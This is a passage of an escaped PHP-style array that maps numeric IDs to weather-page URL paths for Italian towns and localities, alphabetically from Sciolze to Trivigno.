\"/meteo/Sciolze\",6741 => \"/meteo/Scisciano\",6742 => \"/meteo/Sclafani+bagni\",6743 => \"/meteo/Scontrone\",6744 => \"/meteo/Scopa\",6745 => \"/meteo/Scopello\",6746 => \"/meteo/Scoppito\",6747 => \"/meteo/Scordia\",6748 => \"/meteo/Scorrano\",6749 => \"/meteo/Scorze'\",6750 => \"/meteo/Scurcola+marsicana\",6751 => \"/meteo/Scurelle\",6752 => \"/meteo/Scurzolengo\",6753 => \"/meteo/Seborga\",6754 => \"/meteo/Secinaro\",6755 => \"/meteo/Secli'\",8336 => \"/meteo/Secondino\",6756 => \"/meteo/Secugnago\",6757 => \"/meteo/Sedegliano\",6758 => \"/meteo/Sedico\",6759 => \"/meteo/Sedilo\",6760 => \"/meteo/Sedini\",6761 => \"/meteo/Sedriano\",6762 => \"/meteo/Sedrina\",6763 => \"/meteo/Sefro\",6764 => \"/meteo/Segariu\",8714 => \"/meteo/Segesta\",6765 => \"/meteo/Seggiano\",6766 => \"/meteo/Segni\",6767 => \"/meteo/Segonzano\",6768 => \"/meteo/Segrate\",6769 => \"/meteo/Segusino\",6770 => \"/meteo/Selargius\",6771 => \"/meteo/Selci\",6772 => \"/meteo/Selegas\",8715 => \"/meteo/Selinunte\",8130 => \"/meteo/Sella+Nevea\",6773 => \"/meteo/Sellano\",8651 => \"/meteo/Sellata+Arioso\",6774 => \"/meteo/Sellero\",8238 => \"/meteo/Selletta\",6775 => \"/meteo/Sellia\",6776 => \"/meteo/Sellia+marina\",6777 => \"/meteo/Selva+dei+Molini\",6778 => \"/meteo/Selva+di+Cadore\",6779 => \"/meteo/Selva+di+Progno\",6780 => \"/meteo/Selva+di+Val+Gardena\",6781 => \"/meteo/Selvazzano+dentro\",6782 => \"/meteo/Selve+marcone\",6783 => \"/meteo/Selvino\",6784 => \"/meteo/Semestene\",6785 => \"/meteo/Semiana\",6786 => \"/meteo/Seminara\",6787 => \"/meteo/Semproniano\",6788 => \"/meteo/Senago\",6789 => \"/meteo/Senale+San+Felice\",6790 => \"/meteo/Senales\",6791 => \"/meteo/Seneghe\",6792 => \"/meteo/Senerchia\",6793 => \"/meteo/Seniga\",6794 => \"/meteo/Senigallia\",6795 => \"/meteo/Senis\",6796 => \"/meteo/Senise\",6797 => \"/meteo/Senna+comasco\",6798 => \"/meteo/Senna+lodigiana\",6799 => \"/meteo/Sennariolo\",6800 => \"/meteo/Sennori\",6801 => \"/meteo/Senorbi'\",6802 => \"/meteo/Sepino\",6803 => \"/meteo/Seppiana\",6804 => \"/meteo/Sequals\",6805 => \"/meteo/Seravezza\",6806 => \"/meteo/Serdiana\",6807 => \"/meteo/Seregno\",6808 => \"/meteo/Seren+del+grappa\",6809 => \"/meteo/Sergnano\",6810 => \"/meteo/Seriate\",6811 => \"/meteo/Serina\",6812 => \"/meteo/Serino\",6813 => \"/meteo/Serle\",6814 => \"/meteo/Sermide\",6815 => \"/meteo/Sermoneta\",6816 => \"/meteo/Sernaglia+della+Battaglia\",6817 => \"/meteo/Sernio\",6818 => \"/meteo/Serole\",6819 => \"/meteo/Serra+d'aiello\",6820 => \"/meteo/Serra+de'conti\",6821 => \"/meteo/Serra+pedace\",6822 => \"/meteo/Serra+ricco'\",6823 => \"/meteo/Serra+San+Bruno\",6824 => \"/meteo/Serra+San+Quirico\",6825 => \"/meteo/Serra+Sant'Abbondio\",6826 => \"/meteo/Serracapriola\",6827 => \"/meteo/Serradifalco\",6828 => \"/meteo/Serralunga+d'Alba\",6829 => \"/meteo/Serralunga+di+Crea\",6830 => \"/meteo/Serramanna\",6831 => \"/meteo/Serramazzoni\",6832 => \"/meteo/Serramezzana\",6833 => \"/meteo/Serramonacesca\",6834 => \"/meteo/Serrapetrona\",6835 => \"/meteo/Serrara+fontana\",6836 => \"/meteo/Serrastretta\",6837 => \"/meteo/Serrata\",6838 => \"/meteo/Serravalle+a+po\",6839 => \"/meteo/Serravalle+di+chienti\",6840 => \"/meteo/Serravalle+langhe\",6841 => \"/meteo/Serravalle+pistoiese\",6842 => \"/meteo/Serravalle+Scrivia\",6843 => \"/meteo/Serravalle+Sesia\",6844 => \"/meteo/Serre\",6845 => \"/meteo/Serrenti\",6846 => \"/meteo/Serri\",6847 => \"/meteo/Serrone\",6848 => \"/meteo/Serrungarina\",6849 => \"/meteo/Sersale\",6850 => \"/meteo/Servigliano\",6851 => \"/meteo/Sessa+aurunca\",6852 => \"/meteo/Sessa+cilento\",6853 => \"/meteo/Sessame\",6854 => \"/meteo/Sessano+del+Molise\",6855 => \"/meteo/Sesta+godano\",6856 => \"/meteo/Sestino\",6857 => \"/meteo/Sesto\",6858 => \"/meteo/Sesto+al+reghena\",6859 => \"/meteo/Sesto+calende\",8709 => \"/meteo/Sesto+Calende+Alta\",6860 => \"/meteo/Sesto+campano\",6861 => \"/meteo/Sesto+ed+Uniti\",6862 => \"/meteo/Sesto+fiorentino\",6863 => \"/meteo/Sesto+San+Giovanni\",6864 => \"/meteo/Sestola\",6865 => \"/meteo/Sestri+levante\",6866 => \"/meteo/Sestriere\",6867 => \"/meteo/Sestu\",6868 => \"/meteo/Settala\",8316 => \"/meteo/Settebagni\",6869 => \"/meteo/Settefrati\",6870 => \"/meteo/Settime\",6871 => \"/meteo/Settimo+milanese\",6872 => \"/meteo/Settimo+rottaro\",6873 => \"/meteo/Settimo+San+Pietro\",6874 => \"/meteo/Settimo+torinese\",6875 => \"/meteo/Settimo+vittone\",6876 => \"/meteo/Settingiano\",6877 => \"/meteo/Setzu\",6878 => \"/meteo/Seui\",6879 => \"/meteo/Seulo\",6880 => \"/meteo/Seveso\",6881 => \"/meteo/Sezzadio\",6882 => \"/meteo/Sezze\",6883 => \"/meteo/Sfruz\",6884 => \"/meteo/Sgonico\",6885 => \"/meteo/Sgurgola\",6886 => \"/meteo/Siamaggiore\",6887 => \"/meteo/Siamanna\",6888 => \"/meteo/Siano\",6889 => \"/meteo/Siapiccia\",8114 => \"/meteo/Sibari\",6890 => \"/meteo/Sicignano+degli+Alburni\",6891 => \"/meteo/Siculiana\",6892 => \"/meteo/Siddi\",6893 => \"/meteo/Siderno\",6894 => \"/meteo/Siena\",6895 => \"/meteo/Sigillo\",6896 => \"/meteo/Signa\",8603 => \"/meteo/Sigonella\",6897 => \"/meteo/Silandro\",6898 => \"/meteo/Silanus\",6899 => \"/meteo/Silea\",6900 => \"/meteo/Siligo\",6901 => \"/meteo/Siliqua\",6902 => \"/meteo/Silius\",6903 => \"/meteo/Sillano\",6904 => \"/meteo/Sillavengo\",6905 => \"/meteo/Silvano+d'orba\",6906 => \"/meteo/Silvano+pietra\",6907 => \"/meteo/Silvi\",6908 => \"/meteo/Simala\",6909 => \"/meteo/Simaxis\",6910 => \"/meteo/Simbario\",6911 => \"/meteo/Simeri+crichi\",6912 => \"/meteo/Sinagra\",6913 => \"/meteo/Sinalunga\",6914 => \"/meteo/Sindia\",6915 => \"/meteo/Sini\",6916 => \"/meteo/Sinio\",6917 => \"/meteo/Siniscola\",6918 => \"/meteo/Sinnai\",6919 => \"/meteo/Sinopoli\",6920 => \"/meteo/Siracusa\",6921 => \"/meteo/Sirignano\",6922 => \"/meteo/Siris\",6923 => \"/meteo/Sirmione\",8457 => \"/meteo/Sirolo\",6925 => \"/meteo/Sirone\",6926 => \"/meteo/Siror\",6927 => \"/meteo/Sirtori\",6928 => \"/meteo/Sissa\",8492 => \"/meteo/Sistiana\",6929 => \"/meteo/Siurgus+donigala\",6930 => \"/meteo/Siziano\",6931 => \"/meteo/Sizzano\",8258 => \"/meteo/Ski+center+Latemar\",6932 => \"/meteo/Sluderno\",6933 => \"/meteo/Smarano\",6934 => \"/meteo/Smerillo\",6935 => \"/meteo/Soave\",8341 => \"/meteo/Sobretta+Vallalpe\",6936 => \"/meteo/Socchieve\",6937 => \"/meteo/Soddi\",6938 => \"/meteo/Sogliano+al+rubicone\",6939 => \"/meteo/Sogliano+Cavour\",6940 => \"/meteo/Soglio\",6941 => \"/meteo/Soiano+del+lago\",6942 => \"/meteo/Solagna\",6943 => \"/meteo/Solarino\",6944 => \"/meteo/Solaro\",6945 => \"/meteo/Solarolo\",6946 => \"/meteo/Solarolo+Rainerio\",6947 => \"/meteo/Solarussa\",6948 => \"/meteo/Solbiate\",6949 => \"/meteo/Solbiate+Arno\",6950 => \"/meteo/Solbiate+Olona\",8307 => \"/meteo/Solda\",6951 => \"/meteo/Soldano\",6952 => \"/meteo/Soleminis\",6953 => \"/meteo/Solero\",6954 => \"/meteo/Solesino\",6955 => \"/meteo/Soleto\",6956 => \"/meteo/Solferino\",6957 => \"/meteo/Soliera\",6958 => \"/meteo/Solignano\",6959 => \"/meteo/Solofra\",6960 => \"/meteo/Solonghello\",6961 => \"/meteo/Solopaca\",6962 => \"/meteo/Solto+collina\",6963 => \"/meteo/Solza\",6964 => \"/meteo/Somaglia\",6965 => \"/meteo/Somano\",6966 => \"/meteo/Somma+lombardo\",6967 => \"/meteo/Somma+vesuviana\",6968 => \"/meteo/Sommacampagna\",6969 => \"/meteo/Sommariva+del+bosco\",6970 => \"/meteo/Sommariva+Perno\",6971 => \"/meteo/Sommatino\",6972 => \"/meteo/Sommo\",6973 => \"/meteo/Sona\",6974 => \"/meteo/Soncino\",6975 => \"/meteo/Sondalo\",6976 => \"/meteo/Sondrio\",6977 => \"/meteo/Songavazzo\",6978 => \"/meteo/Sonico\",6979 => \"/meteo/Sonnino\",6980 => \"/meteo/Soprana\",6981 => \"/meteo/Sora\",6982 => \"/meteo/Soraga\",6983 => \"/meteo/Soragna\",6984 => \"/meteo/Sorano\",6985 => \"/meteo/Sorbo+San+Basile\",6986 => \"/meteo/Sorbo+Serpico\",6987 => \"/meteo/Sorbolo\",6988 => \"/meteo/Sordevolo\",6989 => \"/meteo/Sordio\",6990 => \"/meteo/Soresina\",6991 => \"/meteo/Sorga'\",6992 => \"/meteo/Sorgono\",6993 => \"/meteo/Sori\",6994 => \"/meteo/Sorianello\",6995 => \"/meteo/Soriano+calabro\",6996 => \"/meteo/Soriano+nel+cimino\",6997 => \"/meteo/Sorico\",6998 => \"/meteo/Soriso\",6999 => \"/meteo/Sorisole\",7000 => \"/meteo/Sormano\",7001 => \"/meteo/Sorradile\",7002 => \"/meteo/Sorrento\",7003 => \"/meteo/Sorso\",7004 => \"/meteo/Sortino\",7005 => \"/meteo/Sospiro\",7006 => \"/meteo/Sospirolo\",7007 => \"/meteo/Sossano\",7008 => \"/meteo/Sostegno\",7009 => \"/meteo/Sotto+il+monte+Giovanni+XXIII\",8747 => \"/meteo/Sottomarina\",7010 => \"/meteo/Sover\",7011 => \"/meteo/Soverato\",7012 => \"/meteo/Sovere\",7013 => \"/meteo/Soveria+mannelli\",7014 => \"/meteo/Soveria+simeri\",7015 => \"/meteo/Soverzene\",7016 => \"/meteo/Sovicille\",7017 => \"/meteo/Sovico\",7018 => \"/meteo/Sovizzo\",7019 => \"/meteo/Sovramonte\",7020 => \"/meteo/Sozzago\",7021 => \"/meteo/Spadafora\",7022 => \"/meteo/Spadola\",7023 => \"/meteo/Sparanise\",7024 => \"/meteo/Sparone\",7025 => \"/meteo/Specchia\",7026 => \"/meteo/Spello\",8585 => \"/meteo/Spelonga\",7027 => \"/meteo/Spera\",7028 => \"/meteo/Sperlinga\",7029 => \"/meteo/Sperlonga\",7030 => \"/meteo/Sperone\",7031 => \"/meteo/Spessa\",7032 => \"/meteo/Spezzano+albanese\",7033 => \"/meteo/Spezzano+della+Sila\",7034 => \"/meteo/Spezzano+piccolo\",7035 => \"/meteo/Spiazzo\",7036 => \"/meteo/Spigno+monferrato\",7037 => \"/meteo/Spigno+saturnia\",7038 => \"/meteo/Spilamberto\",7039 => \"/meteo/Spilimbergo\",7040 => \"/meteo/Spilinga\",7041 => \"/meteo/Spinadesco\",7042 => \"/meteo/Spinazzola\",7043 => \"/meteo/Spinea\",7044 => \"/meteo/Spineda\",7045 => \"/meteo/Spinete\",7046 => \"/meteo/Spineto+Scrivia\",7047 => \"/meteo/Spinetoli\",7048 => \"/meteo/Spino+d'Adda\",7049 => \"/meteo/Spinone+al+lago\",8421 => \"/meteo/Spinoso\",7051 => \"/meteo/Spirano\",7052 => \"/meteo/Spoleto\",7053 => \"/meteo/Spoltore\",7054 => \"/meteo/Spongano\",7055 => \"/meteo/Spormaggiore\",7056 => \"/meteo/Sporminore\",7057 => \"/meteo/Spotorno\",7058 => \"/meteo/Spresiano\",7059 => \"/meteo/Spriana\",7060 => \"/meteo/Squillace\",7061 => \"/meteo/Squinzano\",8248 => \"/meteo/Staffal\",7062 => \"/meteo/Staffolo\",7063 => \"/meteo/Stagno+lombardo\",7064 => \"/meteo/Staiti\",7065 => \"/meteo/Staletti\",7066 => \"/meteo/Stanghella\",7067 => \"/meteo/Staranzano\",7068 => \"/meteo/Statte\",7069 => \"/meteo/Stazzano\",7070 => \"/meteo/Stazzema\",7071 => \"/meteo/Stazzona\",7072 => \"/meteo/Stefanaconi\",7073 => \"/meteo/Stella\",7074 => \"/meteo/Stella+cilento\",7075 => \"/meteo/Stellanello\",7076 => \"/meteo/Stelvio\",7077 => \"/meteo/Stenico\",7078 => \"/meteo/Sternatia\",7079 => \"/meteo/Stezzano\",7080 => \"/meteo/Stia\",7081 => \"/meteo/Stienta\",7082 => \"/meteo/Stigliano\",7083 => \"/meteo/Stignano\",7084 => \"/meteo/Stilo\",7085 => \"/meteo/Stimigliano\",7086 => \"/meteo/Stintino\",7087 => \"/meteo/Stio\",7088 => \"/meteo/Stornara\",7089 => \"/meteo/Stornarella\",7090 => \"/meteo/Storo\",7091 => \"/meteo/Stra\",7092 => \"/meteo/Stradella\",7093 => \"/meteo/Strambinello\",7094 => \"/meteo/Strambino\",7095 => \"/meteo/Strangolagalli\",7096 => \"/meteo/Stregna\",7097 => \"/meteo/Strembo\",7098 => \"/meteo/Stresa\",7099 => \"/meteo/Strevi\",7100 => \"/meteo/Striano\",7101 => \"/meteo/Strigno\",8182 => \"/meteo/Stromboli\",7102 => \"/meteo/Strona\",7103 => \"/meteo/Stroncone\",7104 => \"/meteo/Strongoli\",7105 => \"/meteo/Stroppiana\",7106 => \"/meteo/Stroppo\",7107 => \"/meteo/Strozza\",8493 => \"/meteo/Stupizza\",7108 => \"/meteo/Sturno\",7109 => \"/meteo/Suardi\",7110 => \"/meteo/Subbiano\",7111 => \"/meteo/Subiaco\",7112 => \"/meteo/Succivo\",7113 => \"/meteo/Sueglio\",7114 => \"/meteo/Suelli\",7115 => \"/meteo/Suello\",7116 => \"/meteo/Suisio\",7117 => \"/meteo/Sulbiate\",7118 => \"/meteo/Sulmona\",7119 => \"/meteo/Sulzano\",7120 => \"/meteo/Sumirago\",7121 => \"/meteo/Summonte\",7122 => \"/meteo/Suni\",7123 => \"/meteo/Suno\",7124 => \"/meteo/Supersano\",7125 => \"/meteo/Supino\",7126 => \"/meteo/Surano\",7127 => \"/meteo/Surbo\",7128 => \"/meteo/Susa\",7129 => \"/meteo/Susegana\",7130 => \"/meteo/Sustinente\",7131 => \"/meteo/Sutera\",7132 => \"/meteo/Sutri\",7133 => \"/meteo/Sutrio\",7134 => \"/meteo/Suvereto\",7135 => \"/meteo/Suzzara\",7136 => \"/meteo/Taceno\",7137 => \"/meteo/Tadasuni\",7138 => \"/meteo/Taggia\",7139 => \"/meteo/Tagliacozzo\",8450 => \"/meteo/Tagliacozzo+casello\",7140 => \"/meteo/Taglio+di+po\",7141 => \"/meteo/Tagliolo+monferrato\",7142 => \"/meteo/Taibon+agordino\",7143 => \"/meteo/Taino\",7144 => \"/meteo/Taio\",7145 => \"/meteo/Taipana\",7146 => \"/meteo/Talamello\",7147 => \"/meteo/Talamona\",8299 => \"/meteo/Talamone\",7148 => \"/meteo/Talana\",7149 => \"/meteo/Taleggio\",7150 => \"/meteo/Talla\",7151 => \"/meteo/Talmassons\",7152 => \"/meteo/Tambre\",7153 => \"/meteo/Taormina\",7154 => \"/meteo/Tapogliano\",7155 => \"/meteo/Tarano\",7156 => \"/meteo/Taranta+peligna\",7157 => \"/meteo/Tarantasca\",7158 => \"/meteo/Taranto\",8550 => \"/meteo/Taranto+M.+A.+Grottaglie\",7159 => \"/meteo/Tarcento\",7160 => \"/meteo/Tarquinia\",8140 => \"/meteo/Tarquinia+Lido\",7161 => \"/meteo/Tarsia\",7162 => \"/meteo/Tartano\",7163 => \"/meteo/Tarvisio\",8466 => \"/meteo/Tarvisio+casello\",7164 => \"/meteo/Tarzo\",7165 => \"/meteo/Tassarolo\",7166 => \"/meteo/Tassullo\",7167 => \"/meteo/Taurano\",7168 => \"/meteo/Taurasi\",7169 => \"/meteo/Taurianova\",7170 => \"/meteo/Taurisano\",7171 => \"/meteo/Tavagnacco\",7172 => \"/meteo/Tavagnasco\",7173 => \"/meteo/Tavarnelle+val+di+pesa\",7174 => \"/meteo/Tavazzano+con+villavesco\",7175 => \"/meteo/Tavenna\",7176 => \"/meteo/Taverna\",7177 => \"/meteo/Tavernerio\",7178 => \"/meteo/Tavernola+bergamasca\",7179 => \"/meteo/Tavernole+sul+Mella\",7180 => \"/meteo/Taviano\",7181 => \"/meteo/Tavigliano\",7182 => \"/meteo/Tavoleto\",7183 => \"/meteo/Tavullia\",8362 => \"/meteo/Teana\",7185 => \"/meteo/Teano\",7186 => \"/meteo/Teggiano\",7187 => \"/meteo/Teglio\",7188 => \"/meteo/Teglio+veneto\",7189 => \"/meteo/Telese+terme\",7190 => \"/meteo/Telgate\",7191 => \"/meteo/Telti\",7192 => \"/meteo/Telve\",7193 => \"/meteo/Telve+di+sopra\",7194 => \"/meteo/Tempio+Pausania\",7195 => \"/meteo/Temu'\",7196 => \"/meteo/Tenna\",7197 => \"/meteo/Tenno\",7198 => \"/meteo/Teolo\",7199 => \"/meteo/Teor\",7200 => \"/meteo/Teora\",7201 => \"/meteo/Teramo\",8449 => \"/meteo/Teramo+Val+Vomano\",7202 => \"/meteo/Terdobbiate\",7203 => \"/meteo/Terelle\",7204 => \"/meteo/Terento\",7205 => \"/meteo/Terenzo\",7206 => \"/meteo/Tergu\",7207 => \"/meteo/Terlago\",7208 => \"/meteo/Terlano\",7209 => \"/meteo/Terlizzi\",8158 => \"/meteo/Terme+di+Lurisia\",7210 => \"/meteo/Terme+vigliatore\",7211 => \"/meteo/Termeno+sulla+strada+del+vino\",7212 => \"/meteo/Termini+imerese\",8133 => \"/meteo/Terminillo\",7213 => \"/meteo/Termoli\",7214 => \"/meteo/Ternate\",7215 => \"/meteo/Ternengo\",7216 => \"/meteo/Terni\",7217 => \"/meteo/Terno+d'isola\",7218 => \"/meteo/Terracina\",7219 => \"/meteo/Terragnolo\",7220 => \"/meteo/Terralba\",7221 => \"/meteo/Terranova+da+Sibari\",7222 => \"/meteo/Terranova+dei+passerini\",8379 => \"/meteo/Terranova+di+Pollino\",7224 => \"/meteo/Terranova+Sappo+Minulio\",7225 => \"/meteo/Terranuova+bracciolini\",7226 => \"/meteo/Terrasini\",7227 => \"/meteo/Terrassa+padovana\",7228 => \"/meteo/Terravecchia\",7229 => \"/meteo/Terrazzo\",7230 => \"/meteo/Terres\",7231 => \"/meteo/Terricciola\",7232 => \"/meteo/Terruggia\",7233 => \"/meteo/Tertenia\",7234 => \"/meteo/Terzigno\",7235 => \"/meteo/Terzo\",7236 => \"/meteo/Terzo+d'Aquileia\",7237 => \"/meteo/Terzolas\",7238 => \"/meteo/Terzorio\",7239 => \"/meteo/Tesero\",7240 => \"/meteo/Tesimo\",7241 => \"/meteo/Tessennano\",7242 => \"/meteo/Testico\",7243 => \"/meteo/Teti\",7244 => \"/meteo/Teulada\",7245 => \"/meteo/Teverola\",7246 => \"/meteo/Tezze+sul+Brenta\",8716 => \"/meteo/Tharros\",7247 => \"/meteo/Thiene\",7248 => \"/meteo/Thiesi\",7249 => \"/meteo/Tiana\",7250 => \"/meteo/Tiarno+di+sopra\",7251 => \"/meteo/Tiarno+di+sotto\",7252 => \"/meteo/Ticengo\",7253 => \"/meteo/Ticineto\",7254 => \"/meteo/Tiggiano\",7255 => \"/meteo/Tiglieto\",7256 => \"/meteo/Tigliole\",7257 => \"/meteo/Tignale\",7258 => \"/meteo/Tinnura\",7259 => \"/meteo/Tione+degli+Abruzzi\",7260 => \"/meteo/Tione+di+Trento\",7261 => \"/meteo/Tirano\",7262 => \"/meteo/Tires\",7263 => \"/meteo/Tiriolo\",7264 => \"/meteo/Tirolo\",8194 => \"/meteo/Tirrenia\",8719 => \"/meteo/Tiscali\",7265 => \"/meteo/Tissi\",8422 => \"/meteo/Tito\",7267 => \"/meteo/Tivoli\",8451 => \"/meteo/Tivoli+casello\",7268 => \"/meteo/Tizzano+val+Parma\",7269 => \"/meteo/Toano\",7270 => \"/meteo/Tocco+caudio\",7271 => \"/meteo/Tocco+da+Casauria\",7272 => \"/meteo/Toceno\",7273 => \"/meteo/Todi\",7274 => \"/meteo/Toffia\",7275 => \"/meteo/Toirano\",7276 => \"/meteo/Tolentino\",7277 => \"/meteo/Tolfa\",7278 => \"/meteo/Tollegno\",7279 => \"/meteo/Tollo\",7280 => \"/meteo/Tolmezzo\",8423 => \"/meteo/Tolve\",7282 => \"/meteo/Tombolo\",7283 => \"/meteo/Ton\",7284 => \"/meteo/Tonadico\",7285 => \"/meteo/Tonara\",7286 => \"/meteo/Tonco\",7287 => \"/meteo/Tonengo\",7288 => \"/meteo/Tonezza+del+Cimone\",7289 => \"/meteo/Tora+e+piccilli\",8132 => \"/meteo/Torano\",7290 => \"/meteo/Torano+castello\",7291 => \"/meteo/Torano+nuovo\",7292 => \"/meteo/Torbole+casaglia\",7293 => \"/meteo/Torcegno\",7294 => \"/meteo/Torchiara\",7295 => \"/meteo/Torchiarolo\",7296 => \"/meteo/Torella+dei+lombardi\",7297 => \"/meteo/Torella+del+sannio\",7298 => \"/meteo/Torgiano\",7299 => \"/meteo/Torgnon\",7300 => \"/meteo/Torino\",8271 => \"/meteo/Torino+Caselle\",7301 => \"/meteo/Torino+di+Sangro\",8494 => \"/meteo/Torino+di+Sangro+Marina\",7302 => \"/meteo/Toritto\",7303 => \"/meteo/Torlino+Vimercati\",7304 => \"/meteo/Tornaco\",7305 => \"/meteo/Tornareccio\",7306 => \"/meteo/Tornata\",7307 => \"/meteo/Tornimparte\",8445 => \"/meteo/Tornimparte+casello\",7308 => \"/meteo/Torno\",7309 => \"/meteo/Tornolo\",7310 => \"/meteo/Toro\",7311 => \"/meteo/Torpe'\",7312 => \"/meteo/Torraca\",7313 => \"/meteo/Torralba\",7314 => \"/meteo/Torrazza+coste\",7315 => \"/meteo/Torrazza+Piemonte\",7316 => \"/meteo/Torrazzo\",7317 => \"/meteo/Torre+Annunziata\",7318 => \"/meteo/Torre+Beretti+e+Castellaro\",7319 => \"/meteo/Torre+boldone\",7320 => \"/meteo/Torre+bormida\",7321 => \"/meteo/Torre+cajetani\",7322 => \"/meteo/Torre+canavese\",7323 => \"/meteo/Torre+d'arese\",7324 => \"/meteo/Torre+d'isola\",7325 => \"/meteo/Torre+de'+passeri\",7326 => \"/meteo/Torre+de'busi\",7327 => \"/meteo/Torre+de'negri\",7328 => \"/meteo/Torre+de'picenardi\",7329 => \"/meteo/Torre+de'roveri\",7330 => \"/meteo/Torre+del+greco\",7331 => \"/meteo/Torre+di+mosto\",7332 => \"/meteo/Torre+di+ruggiero\",7333 => \"/meteo/Torre+di+Santa+Maria\",7334 => \"/meteo/Torre+le+nocelle\",7335 => \"/meteo/Torre+mondovi'\",7336 => \"/meteo/Torre+orsaia\",8592 => \"/meteo/Torre+Pali\",7337 => \"/meteo/Torre+pallavicina\",7338 => \"/meteo/Torre+pellice\",7339 => \"/meteo/Torre+San+Giorgio\",8596 => \"/meteo/Torre+San+Giovanni\",8595 => \"/meteo/Torre+San+Gregorio\",7340 => \"/meteo/Torre+San+Patrizio\",7341 => \"/meteo/Torre+Santa+Susanna\",8593 => \"/meteo/Torre+Vado\",7342 => \"/meteo/Torreano\",7343 => \"/meteo/Torrebelvicino\",7344 => \"/meteo/Torrebruna\",7345 => \"/meteo/Torrecuso\",7346 => \"/meteo/Torreglia\",7347 => \"/meteo/Torregrotta\",7348 => \"/meteo/Torremaggiore\",7349 => \"/meteo/Torrenova\",7350 => \"/meteo/Torresina\",7351 => \"/meteo/Torretta\",7352 => \"/meteo/Torrevecchia+pia\",7353 => \"/meteo/Torrevecchia+teatina\",7354 => \"/meteo/Torri+del+benaco\",7355 => \"/meteo/Torri+di+quartesolo\",7356 => \"/meteo/Torri+in+sabina\",7357 => \"/meteo/Torriana\",7358 => \"/meteo/Torrice\",7359 => \"/meteo/Torricella\",7360 => \"/meteo/Torricella+del+pizzo\",7361 => \"/meteo/Torricella+in+sabina\",7362 => \"/meteo/Torricella+peligna\",7363 => \"/meteo/Torricella+sicura\",7364 => \"/meteo/Torricella+verzate\",7365 => \"/meteo/Torriglia\",7366 => \"/meteo/Torrile\",7367 => \"/meteo/Torrioni\",7368 => \"/meteo/Torrita+di+Siena\",7369 => \"/meteo/Torrita+tiberina\",7370 => \"/meteo/Tortoli'\",7371 => \"/meteo/Tortona\",7372 => \"/meteo/Tortora\",7373 => \"/meteo/Tortorella\",7374 => \"/meteo/Tortoreto\",8601 => \"/meteo/Tortoreto+lido\",7375 => \"/meteo/Tortorici\",8138 => \"/meteo/Torvaianica\",7376 => \"/meteo/Torviscosa\",7377 => \"/meteo/Toscolano+maderno\",7378 => \"/meteo/Tossicia\",7379 => \"/meteo/Tovo+di+Sant'Agata\",7380 => \"/meteo/Tovo+San+Giacomo\",7381 => \"/meteo/Trabia\",7382 => \"/meteo/Tradate\",8214 => \"/meteo/Trafoi\",7383 => \"/meteo/Tramatza\",7384 => \"/meteo/Trambileno\",7385 => \"/meteo/Tramonti\",7386 => \"/meteo/Tramonti+di+sopra\",7387 => \"/meteo/Tramonti+di+sotto\",8412 => \"/meteo/Tramutola\",7389 => \"/meteo/Trana\",7390 => \"/meteo/Trani\",7391 => \"/meteo/Transacqua\",7392 => \"/meteo/Traona\",7393 => \"/meteo/Trapani\",8544 => \"/meteo/Trapani+Birgi\",7394 => \"/meteo/Trappeto\",7395 => \"/meteo/Trarego+Viggiona\",7396 => \"/meteo/Trasacco\",7397 => \"/meteo/Trasaghis\",7398 => \"/meteo/Trasquera\",7399 => \"/meteo/Tratalias\",7400 => \"/meteo/Trausella\",7401 => \"/meteo/Travaco'+siccomario\",7402 => \"/meteo/Travagliato\",7403 => \"/meteo/Travedona+monate\",7404 => \"/meteo/Traversella\",7405 => \"/meteo/Traversetolo\",7406 => \"/meteo/Traves\",7407 => \"/meteo/Travesio\",7408 => \"/meteo/Travo\",8187 => \"/meteo/Tre+fontane\",7409 => \"/meteo/Trebaseleghe\",7410 => \"/meteo/Trebisacce\",7411 => \"/meteo/Trecasali\",7412 => \"/meteo/Trecase\",7413 => \"/meteo/Trecastagni\",7414 => \"/meteo/Trecate\",7415 => \"/meteo/Trecchina\",7416 => \"/meteo/Trecenta\",7417 => \"/meteo/Tredozio\",7418 => \"/meteo/Treglio\",7419 => \"/meteo/Tregnago\",7420 => \"/meteo/Treia\",7421 => \"/meteo/Treiso\",7422 => \"/meteo/Tremenico\",7423 => \"/meteo/Tremestieri+etneo\",7424 => \"/meteo/Tremezzo\",7425 => \"/meteo/Tremosine\",7426 => \"/meteo/Trenta\",7427 => \"/meteo/Trentinara\",7428 => \"/meteo/Trento\",7429 => \"/meteo/Trentola-ducenta\",7430 => \"/meteo/Trenzano\",8146 => \"/meteo/Trepalle\",7431 => \"/meteo/Treppo+carnico\",7432 => \"/meteo/Treppo+grande\",7433 => \"/meteo/Trepuzzi\",7434 => \"/meteo/Trequanda\",7435 => \"/meteo/Tres\",7436 => \"/meteo/Tresana\",7437 => \"/meteo/Trescore+balneario\",7438 => \"/meteo/Trescore+cremasco\",7439 => \"/meteo/Tresigallo\",7440 => \"/meteo/Tresivio\",7441 => \"/meteo/Tresnuraghes\",7442 => \"/meteo/Trevenzuolo\",7443 => \"/meteo/Trevi\",7444 => \"/meteo/Trevi+nel+lazio\",7445 => \"/meteo/Trevico\",7446 => \"/meteo/Treviglio\",7447 => \"/meteo/Trevignano\",7448 => \"/meteo/Trevignano+romano\",7449 => \"/meteo/Treville\",7450 => \"/meteo/Treviolo\",7451 => \"/meteo/Treviso\",7452 => \"/meteo/Treviso+bresciano\",8543 => \"/meteo/Treviso+Sant'Angelo\",7453 => \"/meteo/Trezzano+rosa\",7454 => \"/meteo/Trezzano+sul+Naviglio\",7455 => \"/meteo/Trezzo+sull'Adda\",7456 => \"/meteo/Trezzo+Tinella\",7457 => \"/meteo/Trezzone\",7458 => \"/meteo/Tribano\",7459 => \"/meteo/Tribiano\",7460 => \"/meteo/Tribogna\",7461 => \"/meteo/Tricarico\",7462 => \"/meteo/Tricase\",8597 => \"/meteo/Tricase+porto\",7463 => \"/meteo/Tricerro\",7464 => \"/meteo/Tricesimo\",7465 => \"/meteo/Trichiana\",7466 => \"/meteo/Triei\",7467 => \"/meteo/Trieste\",8472 => \"/meteo/Trieste+Ronchi+dei+Legionari\",7468 => \"/meteo/Triggiano\",7469 => \"/meteo/Trigolo\",7470 => \"/meteo/Trinita+d'Agultu+e+Vignola\",7471 => \"/meteo/Trinita'\",7472 => \"/meteo/Trinitapoli\",7473 => \"/meteo/Trino\",7474 => \"/meteo/Triora\",7475 => \"/meteo/Tripi\",7476 => \"/meteo/Trisobbio\",7477 => \"/meteo/Trissino\",7478 => \"/meteo/Triuggio\",7479 => \"/meteo/Trivento\",7480 => \"/meteo/Trivero\",7481 => \"/meteo/Trivigliano\",7482 => \"/meteo/Trivignano+udinese\",8413 => \"/meteo/Trivigno\",7484 => 